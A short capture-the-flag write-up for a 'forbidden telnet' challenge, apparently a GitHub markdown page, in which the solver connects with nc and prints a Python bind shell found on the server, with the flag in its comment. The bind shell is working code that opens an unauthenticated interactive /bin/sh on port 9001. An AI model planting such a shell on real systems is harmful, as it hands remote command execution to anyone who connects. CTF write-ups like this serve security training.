Skip to content

Latest commit

 

History

History
46 lines (36 loc) · 1.01 KB

The forbidden telnet.md

File metadata and controls

46 lines (36 loc) · 1.01 KB

Task :

Legends spoke of a long-forgotten era when Telnet was once a common gateway into the digital world, allowing users to access remote systems and execute commands. However, as time passed, its usage faded due to security concerns, and the portals were shut down or hidden away to protect the digital realm from malicious intent.

Points : 100

Solution:

connect to telnet using

nc website port-address
ls

found a python file:

cat bindshell.py
import os
import socket

HOST = '0.0.0.0'
PORT = 9001

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)

while True:
    conn, addr = s.accept()
    pid = os.fork()
    if pid == 0:
        os.dup2(conn.fileno(), 0)
        os.dup2(conn.fileno(), 1)
        os.dup2(conn.fileno(), 2)
        os.execve('/bin/sh', ['/bin/sh', '-i'], {'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'})

# KPMG_CTF{38748f1a026ae36d35de31d8aebd1dea}
KPMG_CTF{38748f1a026ae36d35de31d8aebd1dea}